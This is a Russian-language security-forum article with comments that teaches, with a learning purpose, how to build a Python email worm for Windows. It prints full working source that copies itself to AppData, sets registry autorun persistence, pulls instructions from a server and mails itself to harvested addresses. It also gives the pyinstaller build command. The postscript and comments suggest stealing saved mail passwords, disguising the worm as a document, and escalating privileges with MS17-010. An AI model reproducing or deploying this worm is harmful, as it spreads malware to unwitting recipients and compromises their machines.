• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

Статья Изучаем принцип работы сетевого червя на Python

INPC

Grey Team
21.08.2019
77
161
BIT
107
Приветствую!
Пытался придумать вводную - не получилось... Да и оно вам надо? Так что, давайте вкратце: в этой статье мы разберем такой тип вирусов, как "сетевой червь" и даже напишем одного такого.

Итак, что же такое, эти ваши сетевые черви?

Если поискать на википедии, то можно найти следующее определение: "Сетевой червь — разновидность , самостоятельно распространяющейся через локальные и глобальные ( ) компьютерные сети." и, в принципе, все верно, сетевой червь - это действительно вредоносная программа, способная воспроизводить себя на устройствах, распространяющаяся по сетевым каналам и часто, способная к самостоятельному преодолению систем защиты компьютерных сетей. При этом пользователь не подозревает о заражении своего компьютера.

Распространятся по сети черви могут, отправляя свои копии по электронной почте, или заражая устройства, используя критические уязвимости систем (например, такие, как, знаменитая, закрытая уже Eternal Blue). Сетевые черви могут размножаться по каналам файлообменных пиринговых (p2p) сетей (например, Kazaa, Grokster, eDonkey, FastTrack, Gnutella и др.), в системах мгновенного обмена сообщениями (таких как Facebook Messenger, Skype или WhatsApp) и даже, через наше любимую, "безопасную" IRC.

Принцип работы сетевого червя довольно прост - вредоносная программа попадает на устройство, закрепляется там, выполняет вредоносные действия, если есть такая задача и распространяется дальше.

Ну что ж, предлагаю создать одного такого представителя, данного семейства вирусов.

!ВАЖНО! Прошу обратить внимание, что т.к. материал в статье представлен исключительно в образовательных целях, созданный нами червь не будет выполнять никаких вредоносных действий, не будет прятаться на зараженном устройстве и маскировать себя при распространении и самовоспроизведении (например выдавая себя за документ). И вообще, создание вредоносных программ - плохо и можно за это понести ответственность, согласно , или другой страны, в которой вы проживаете.

Для начала, давайте уточним язык программирования, на котором будем творить. Я, естественно буду использовать python3 (не зря же я в этой ветке тему создал, да?), т.к. я криворукий рукожоп и не могу нормально использовать другой яп он простой и наглядный, но если есть понимание, что программа делает, то и написать её на другом ЯПе не составит труда.

Теперь определимся, какие задачи будет выполнять наша программа, после заражения устройства (червь будет создан под устройства с ОС windows):
1. Создать свою копию на зараженном устройстве.
2. Записать себя в автозагрузку, через реестр.
3. Триггернуть canarytoken (чтоб нам на почту капнуло уведомление, о том, что червь засел на очередном устройстве)
4. Обратиться к серверу и получить от него какие-либо данные (инструкции). * В нашем случае червь будет получать список email-адресов для дальнейшей рассылки по ним своих копий
5. Выполнить какие-либо действия на зараженном устройстве.
6. Начать самораспространение, путем отправки своих копий, на ранее полученные email-адреса.

С задачами определились, можно и начинать кодить.
Для начала давайте импортируем нужные нам модули:
Python:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os, sys
import shutil
import requests
from winreg import OpenKey, SetValueEx, CloseKey, HKEY_CURRENT_USER, KEY_ALL_ACCESS, REG_SZ
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.mime.application import MIMEApplication

Думаю, os, sys, requests - всем знакомы, на них останавливаться не будем. Модуль winreg предоставляет доступ к реестру Windows, smtplib и email - используются для создания электронной рассылки.
Если у вас отсутствует какой-либо модуль, его нужно установить используя команду:
pip install 'название модуля'
или
pip3 install 'название модуля'

Теперь решим первую задачу - самовоспроизведение. Заставим нашего червяка размножится вегетативно, так сказать:
Python:
def main():
    # Создаем клона
    dir = os.getenv("APPDATA") + r'/worm/' # Вместо worm можно подставить любое название программы
    path = dir + os.path.basename(__file__) # тут будет копия программы, она же будет запускаться в дальнейшем
  
    if not os.path.exists(dir):
        # если директории не существует - создать и скопировать туда нашего червя
        os.makedirs(dir) # создание директории в appdata
        shutil.copy(__file__, path) # копирование программы

С этой частью - все должно быть ясно и проблем возникнуть не должно. Просто проверяем, есть ли уже наш червь на устройстве, если нет - то копируем его. Тут наш червь не прячется и копирует себя в том виде, в котором есть, со вполне очевидным названием.

Переходим ко второй задаче - прописываем червя в автозапуск, через реестр:
Python:
    # прописываем в автозапуск, через реестр
    reestr_path = OpenKey(HKEY_CURRENT_USER, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 0, KEY_ALL_ACCESS)
    SetValueEx(reestr_path, 'worm', 0, REG_SZ, path)
    CloseKey(reestr_path)

Готово, тут тоже все элементарно - определяем путь в реестре до автозапуска и создаем новую запись. Прошу отметить, что червяк не будет маскироваться под какую-нибудь системную утилиту, а имеет честное название "worm".

Теперь перейдем к пунктам 3 и 4 - тригернем канарейку и получим инструкции с сервера. Про то, как создать свой cannarytoken в интернете есть много информации, да и сам процесс создания не особо сложный, так что заострять внимание на этом не буду, если у кого-то возникнут вопросы - расскажу в следующий раз, что это, с чем это едят и как такое сделать.
Python:
    # Тригирим канарейку
    requests.get('http://canarytokens.com/feedback/01oohhr7cpup3uf0x44m0vol2/index.html')
  
    # получчаем инструкции с сервера (в случае этой программы - получаем список почт, для рассылки)
    instructions = requests.get('http://192.168.3.111/instruction.txt', stream=True) # получения файла с данными с сервера
    with open('instruction.txt', 'wb') as f:
        shutil.copyfileobj(instructions.raw, f) # на всякий случай сохраняем инструкции

Обратите внимание, что, т.к. я не собираюсь заражать устройства в сторонних сетях, то мой сервер находится в той же сети, что и зараженное устройство. поднят он простейшим способом, при помощи питона и команды:
sudo python -m SimpleHTTPServer 80
В каталоге, который используется, как корневая директория сервера лежит заготовленный файл с инструкциями "instruction.txt", который и стягивает наш червь.

1645541901984.png


Так же, вместо своего сервера, можно использовать другие средства, например - гит-репозиторий, с которого червь будит тянуть то, что нам нужно.

Ну что ж, больше половины червяка готово, теперь перейдем к пункту 5 и напишем отдельную функцию, для выполнения зловредных и не очень действий:
Python:
def Execute():
    """Функция для выполненя зловредных действий"""
    with open('README.txt', 'w', encoding='utf-8') as f:
        f.write('Belligerent worm in action')

У нас, как понятно по коду, никаких вредоносных действий выполняться не будет, просто создастся файл "README.txt", но отдельная функция нужна, для наглядности, т.к. на самом деле в неё можно запихать целую кучу различных действий.

И вот мы наконец добрались до последнего 6 пункта - самораспространения. Напишем функцию, которая будет рассылать копии нашего червя на email-адреса, указанные в присланном ранее файле, с сервера:
Python:
def SendMail(path):
    """Создание письма, с вложением в него программы и отправка на мыла пользователей, в списке из инструкции"""
    # подготовка данных писма
    with open('instruction.txt', 'r') as f:
        for mail in f:
            # читаем файл с email-адресами, для рассылки построчно
            if mail != None:
                FROM = "forwormpost@gmail.com" # почта с которой будет вестись отправка
                TO = mail
                msg = MIMEMultipart()
                msg['From'] = FROM
                msg['To'] = TO
                msg['Subject'] = 'worm' # тема письма
              
                # вложение файла
                with open(path, 'rb') as f:
                    part = MIMEApplication(f.read(), Name=os.path.basename(path))
                part['Content-Discription'] = 'attachment; filename="%s"' % os.path.basename(path)
              
                msg.attach(part)
              
                # Отправка письма
                smtpOBJ = smtplib.SMTP("smtp.gmail.com", 587)
                smtpOBJ.starttls()
                smtpOBJ.login(FROM, 'паорль от своей почты')
                smtpOBJ.sendmail(FROM, TO, msg.as_string())
                smtpOBJ.quit()

В качестве почты, с которой червь будет производить рассылку, используется почта gmail. Сразу надо отметить, что в настройках аккаунта gogle надо открыть доступ к почте из ненадежных источников, иначе защита gmail не даст нам залогиниться и отправлять сообщения.

1645544287906.png


Вот и все, ребята, как говорится. Склеим нашего монстра Франкенштейна и проверим его работоспособность...
Код червя целиком:
Python:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os, sys
import shutil
import requests
from winreg import OpenKey, SetValueEx, CloseKey, HKEY_CURRENT_USER, KEY_ALL_ACCESS, REG_SZ
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.mime.application import MIMEApplication

def main():
    # Создаем клона
    dir = os.getenv("APPDATA") + r'/worm/' # Вместо worm можно подставить любое название программы
    path = dir + os.path.basename(__file__) #тут будет копия программы, она же будет запускаться в дальнейшем
  
    if not os.path.exists(dir):
        os.makedirs(dir)
        shutil.copy(__file__, path)
  
    # прописываем в автозапуск, через реестр
    reestr_path = OpenKey(HKEY_CURRENT_USER, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 0, KEY_ALL_ACCESS)
    SetValueEx(reestr_path, 'worm', 0, REG_SZ, path)
    CloseKey(reestr_path)
  
    # Тригирим канарейку
    requests.get('http://canarytokens.com/feedback/01oohhr7cpup3uf0x44m0vol2/index.html')
  
    # получчаем инструкции с сервера (в случае этой программы - получаем список почт, для рассылки)
    instructions = requests.get('http://192.168.3.111/instruction.txt', stream=True) # получения файла с данными с сервера
    with open('instruction.txt', 'wb') as f:
        shutil.copyfileobj(instructions.raw, f) # на всякий случай сохраняем инструкции
  
    Execute() # выполняем зловредные действия
    SendMail(path) # начинаем процесс самовоспроизведения и распространения

  
def Execute():
    """Функция для выполненя зловредных действий"""
    with open('README.txt', 'w', encoding='utf-8') as f:
        f.write('Belligerent worm in action')

def SendMail(path):
    """Создание письма, с вложением в него программы и отправка на мыла пользователей, в списке из инструкции"""
    # подготовка данных писма
    with open('instruction.txt', 'r') as f:
        for mail in f:
            if mail != None:
                FROM = "forwormpost@gmail.com"
                TO = mail
                msg = MIMEMultipart()
                msg['From'] = FROM
                msg['To'] = TO
                msg['Subject'] = 'worm'
              
                # вложение файла
                with open(path, 'rb') as f:
                    part = MIMEApplication(f.read(), Name=os.path.basename(path))
                part['Content-Discription'] = 'attachment; filename="%s"' % os.path.basename(path)
              
                msg.attach(part)
              
                # Отправка письма
                smtpOBJ = smtplib.SMTP("smtp.gmail.com", 587)
                smtpOBJ.starttls()
                smtpOBJ.login(FROM, 'пароль от почты')
                smtpOBJ.sendmail(FROM, TO, msg.as_string())
                smtpOBJ.quit()

if __name__ == "__main__":
    main()

Запускаем и проверяем:

1645544602114.png


Червь отработал, посмотрим, что же произошло:
В папке "AppData/Roaming" появился каталог "worm" с копией нашего червя.
До:

1645544747661.png


После:

1645544760250.png


Появилась запись в реестре. Теперь при каждом запуске устройства, червь будет пытаться размножиться и выполнить то, для чего предназначался.
До:

1645544843515.png


После:

1645544893523.png


Подключение к серверу прошло успешно, в каталоге, из которого производился запуск червя появился файл с инструкциями (стянутый с сервера) и README.txt (свидетельствующий об успешном выполнении функции Execute()):

1645545083649.png


1645545059004.png


Пришло сообщение о триггере канарейки

1645545225589.png


В "отправленных" появилось отправленное червем письмо:

1645545898341.png


В почтовом ящике эфемерной "жертвы" появилось письмо с вложенным червем:

1645545960963.png


1645546586717.png


Вложение скачивается без особых проблем и при запуске пользователем, червь будет активно выполнять заложенные в него функции, тем самым распространяясь все больше и больше.
P.S. Реальный такой червь, вместо получения списка email'ов с сервера мог бы вытягивать с устройства жертвы пароль от почты (если он сохранен, а многие такие вещи сохраняют в каких-нибудь, встроенных в браузер, парольных менеджерах), брать несколько последних адресов с которыми "жертва" вела переписку и отправлять свои копии им, притворяясь при этом каким-нибудь важным документом, кончено.

Ну и на последок, можно скомпилировать нашего червя в .exe файл при помощи pyinstaller и команды:
pyinstaller --onefile --icon='иконка приложения.ico' 'название программы'

На этом - статья заканчивается, спасибо всем, кто нашел в себе силы дочитать до конца. Надеюсь, что такой вид вирусов, как "сетевые черви" были тут понятно разобраны и хоть кто-то нашел для себя что-то новое, или просто интереное.
 
Последнее редактирование модератором:

INPC

Grey Team
21.08.2019
77
161
BIT
107
Хранить логин-пароль от почты в черве - так-себе идея :)
Ну и ошибки не обрабатываются от слова "совсем".
Согласен, но тут цель не рабочего зловреда написать, а просто изучить принцип работы на примере, как и написано в статье, поэтому считаю, что такие недочеты вполне могут существовать в этом конкретном примере)
 

L1ttleSh4rk

Member
23.02.2022
12
0
BIT
0
Спасибо за статью. Полезно знать логику работы даже таких простых зловредов.
 

B13

Заблокирован
01.01.2020
412
55
BIT
134
Не стану оспаривать. В ремесле вирмейкинга я профан. Но на мой взгляд строение этого зловреда довольно простое
Строение, может быть и простое, тоже не буду спорить не писал, хотя хотел в качестве эксперимента написать, но не будем забывать о шифрование и сокрытии самого вируса в системе, да и ещё о его быстром распространение в сети. И не только сети глобальной, но и локальной (если в таковую попадает).
 
Последнее редактирование:
  • Нравится
Реакции: rootme и L1ttleSh4rk

L1ttleSh4rk

Member
23.02.2022
12
0
BIT
0
Солидарен, если автор написал всё простым языком то это не значит что все черви простые зловреды. Например тот же myDoom и т.д и т.п.
Интересно. То-есть, получается строение на разных языках может отличаться?
 

INPC

Grey Team
21.08.2019
77
161
BIT
107
Интересно. То-есть, получается строение на разных языках может отличаться?

Строение и в одном языке может отличаться, а сложность программы быть совершенно на разных уровнях. В этой статье, для понимания, все описано просто и сама программа ничего сложного не делает, даже, как заметили выше, не обрабатывает исключения и ошибки. Реальный репликатор может быть очень сильно замудрен, а код может превышать несколько сотен строк. По сути, все ограничивается лишь вашим воображением.
 
  • Нравится
Реакции: L1ttleSh4rk и B13

L1ttleSh4rk

Member
23.02.2022
12
0
BIT
0
Строение и в одном языке может отличаться, а сложность программы быть совершенно на разных уровнях. В этой статье, для понимания, все описано просто и сама программа ничего сложного не делает, даже, как заметили выше, не обрабатывает исключения и ошибки. Реальный репликатор может быть очень сильно замудрен, а код может превышать несколько сотен строк. По сути, все ограничивается лишь вашим воображением.
Благодарю за ответ!
 

QuietMoth1

Red Team
18.10.2020
43
148
BIT
3
Классная статья, только вот exe'шник от pyinstaller детектит каждый антивирь)
 

D_Graf 1254

New member
20.07.2021
1
0
BIT
0
Можете немного пояснить, какой именно canarytoken используется?
 

INPC

Grey Team
21.08.2019
77
161
BIT
107
В данном примере использовал , но для надежности лучше бы использовать свой аналог
 

kemmss

New member
14.04.2023
3
0
BIT
9
Пока что я новичок в этой теме. У меня такой вопрос (может показаться глупым). А если у меня есть пользователь (не админ). Получиться ли у меня запустить эту программу на нем?
 

B13

Заблокирован
01.01.2020
412
55
BIT
134
Пока что я новичок в этой теме. У меня такой вопрос (может показаться глупым). А если у меня есть пользователь (не админ). Получиться ли у меня запустить эту программу на нем?
в терии должно запуститься, т.к. такие вирусы нацелены на юзаков, но есть несколько моментов при которых может и не получиться, один из них - это запрет на активацию не известных файлов обычным юзером, еще есть проверка в браузерах на наличие вредоносов.
 
Последнее редактирование:

INPC

Grey Team
21.08.2019
77
161
BIT
107
Пока что я новичок в этой теме. У меня такой вопрос (может показаться глупым). А если у меня есть пользователь (не админ). Получиться ли у меня запустить эту программу на нем?
Зависит от установленных разрешений для пользователя. Если это пользователь в какой-нибудь нормальной организации, то, скорее всего все разграничения настроены. Можете попробовать запустить виртуальную машину и создать пользователя не админа (не настраивая толком). Скорее всего не удастся перезаписать реестр, а создание копии червя будет возможно, только в доступном для записи пользюком месте. Получится ли стянуть сохраненные пароли - тоже маловероятно. Ну, а, связь с атакующей машиной зависит от настроек сети. Если пропустит фаерволл, то возможно.
 
  • Нравится
Реакции: kemmss

Exited3n

Red Team
10.05.2022
679
215
BIT
428
Пока что я новичок в этой теме. У меня такой вопрос (может показаться глупым). А если у меня есть пользователь (не админ). Получиться ли у меня запустить эту программу на нем?
Для таких целей встраивается что-то типо MS17-010 на повершелле и им уже повышаются привилегии в системе.
Так например в cobalt strike реализовано и много где еще.
 
  • Нравится
Реакции: kemmss
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!